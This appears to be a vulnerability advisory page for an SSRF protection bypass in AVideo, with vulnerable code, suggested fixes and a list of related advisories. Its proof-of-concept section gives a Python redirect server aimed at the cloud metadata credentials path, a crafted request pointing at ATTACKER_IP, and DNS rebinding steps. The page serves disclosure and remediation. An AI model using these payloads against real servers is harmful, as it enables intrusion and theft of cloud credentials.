GHSA-2hch-c97c-g99x CVE-2026-43884
AVideo has SSRF Protection Bypass via HTTP Redirect and DNS Rebinding in isSSRFSafeURL()
- Severity
- 7.7 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.35%
- Chance of exploitation in the next 30 days. Higher than 28.40% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-918 Server-Side Request Forgery (SSRF)
- Fix
- None yet
- No fixed version published
Description
Summary
Two endpoints in AVideo call isSSRFSafeURL() to validate user-supplied URLs, then fetch them using bare file_get_contents() without disabling PHP's automatic redirect following. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., http://169.254.169.254/latest/meta-data/). Since isSSRFSafeURL() only validates the initial URL, the redirect target bypasses all SSRF protections.
A secondary finding is that 6+ callers of isSSRFSafeURL() discard the $resolvedIP out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks.
Severity: High — CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
Details
Finding 1: Redirect-Based SSRF Bypass
Vulnerable code — plugin/AI/receiveAsync.json.php (line ~162–165):
// SSRF Protection: Validate URL before fetching
if (!isSSRFSafeURL($imageUrl)) {
// blocked
} else {
$imageContent = file_get_contents($imageUrl); // ← FOLLOWS REDIRECTS!
}
Vulnerable code — objects/EpgParser.php (line ~358–362):
if (!isSSRFSafeURL($this->url)) {
throw new \RuntimeException('URL blocked by SSRF protection');
}
$this->content = @file_get_contents($this->url); // ← FOLLOWS REDIRECTS!
Safe code for comparison — objects/functions.php, url_get_contents():
$opts = ['http' => ['follow_location' => 0]]; // Disable auto-redirect
$context = stream_context_create($opts);
for ($redirectCount = 0; $redirectCount <= 5; $redirectCount++) {
$fetched = file_get_contents($currentUrl, false, $context);
// ... parse Location header ...
if ($redirectTarget) {
if (!isSSRFSafeURL($redirectTarget)) { // Re-validates EACH hop
return false;
}
$currentUrl = $redirectTarget;
continue;
}
$tmp = $fetched;
break;
}
Root cause: The SSRF redirect protection (follow_location=0 + manual redirect loop with per-hop isSSRFSafeURL() re-validation) was correctly implemented in url_get_contents() but NOT propagated to these two endpoints that call file_get_contents() directly. PHP's default follow_location is 1 (follow redirects).
Finding 2: DNS Rebinding TOCTOU (Multiple Callers)
isSSRFSafeURL() provides a $resolvedIP out-parameter for DNS pinning via CURLOPT_RESOLVE. Only 1 of 9 callers (plugin/LiveLinks/proxy.php) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently — creating a TOCTOU race window exploitable via DNS rebinding (TTL=0).
Affected callers (no DNS pinning):
objects/aVideoEncoderReceiveImage.json.php— 4 call sitesobjects/aVideoEncoder.json.php— 1 call siteplugin/BulkEmbed/save.json.php— 1 call siteplugin/AI/receiveAsync.json.php— 1 call siteobjects/EpgParser.php— 1 call siteplugin/Scheduler/Scheduler.php— 1 call site
PoC
Redirect Bypass PoC
- Attacker runs an HTTP server that returns a 302 redirect:
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
self.end_headers()
HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()
- Attacker triggers AI image generation and intercepts the callback:
POST /plugin/AI/receiveAsync.json.php
Content-Type: application/x-www-form-urlencoded
type=image&token=VALID_TOKEN&ai_responses_id=ID&response[data][0][url]=http://ATTACKER_IP:8888/redir
isSSRFSafeURL("http://ATTACKER_IP:8888/redir")resolves attacker IP → public → passesfile_get_contents("http://ATTACKER_IP:8888/redir")follows 302 tohttp://169.254.169.254/...— no SSRF re-check occurs- Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker
Control test: Replace the redirect target with a legitimate public URL — isSSRFSafeURL() passes and the content is fetched normally, confirming the function works for non-malicious URLs.
DNS Rebinding PoC
- Configure a domain with TTL=0 DNS that alternates:
- First query: public IP (passes
isSSRFSafeURL) - Second query:
127.0.0.1(reaches internal services)
- First query: public IP (passes
- Submit
http://rebind.attacker.com/image.jpgto any affected endpoint isSSRFSafeURL()resolves → public IP → passes (discards$resolvedIP)url_get_contents()/file_get_contents()resolves again →127.0.0.1→ SSRF achieved
Impact
An authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including:
- Cloud metadata endpoints (169.254.169.254) — exfiltrate IAM credentials, instance identity
- Internal services on localhost or private network (databases, admin panels, monitoring)
- Port scanning of the internal network using the server as a proxy
The exfiltrated data is stored as video thumbnails/images, making it retrievable through the application's public interface.
Suggested Fix
Fix 1 (Redirect bypass — immediate): Route both affected files through url_get_contents() which already handles redirects safely, or add explicit no-redirect context:
$ctx = stream_context_create(['http' => ['follow_location' => 0]]);
$imageContent = file_get_contents($imageUrl, false, $ctx);
Fix 2 (DNS rebinding — defense-in-depth): Update all callers to capture $resolvedIP and pass it to a DNS-pinning-aware fetch function using CURLOPT_RESOLVE.
Credit
Kai Aizen kai.aizen.dev@gmail.com
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| wwbn/avideo | <= 29.0 |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 7.7
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-918: Server-Side Request Forgery (SSRF)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7cqp-7cfv-6c3q AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel | Medium | Also affects wwbn/avideo |
| GHSA-wc3f-xc32-435f AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink | High | Also affects wwbn/avideo |
| GHSA-95jh-7r58-xmxw AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data | Medium | Also affects wwbn/avideo |
| GHSA-wf69-r4mx-43rr AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration | High | Also affects wwbn/avideo |
| GHSA-8j8m-p79x-g4jm AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions | Medium | Also affects wwbn/avideo |
| GHSA-8whc-2wmv-ww35 WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin | Critical | Also affects WWBN/AVideo |
| GHSA-66q5-cj5g-wrfx WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section | Medium | Also affects WWBN/AVideo |
| GHSA-hgjh-6wj8-gcgf WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination | Medium | Also affects WWBN/AVideo |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor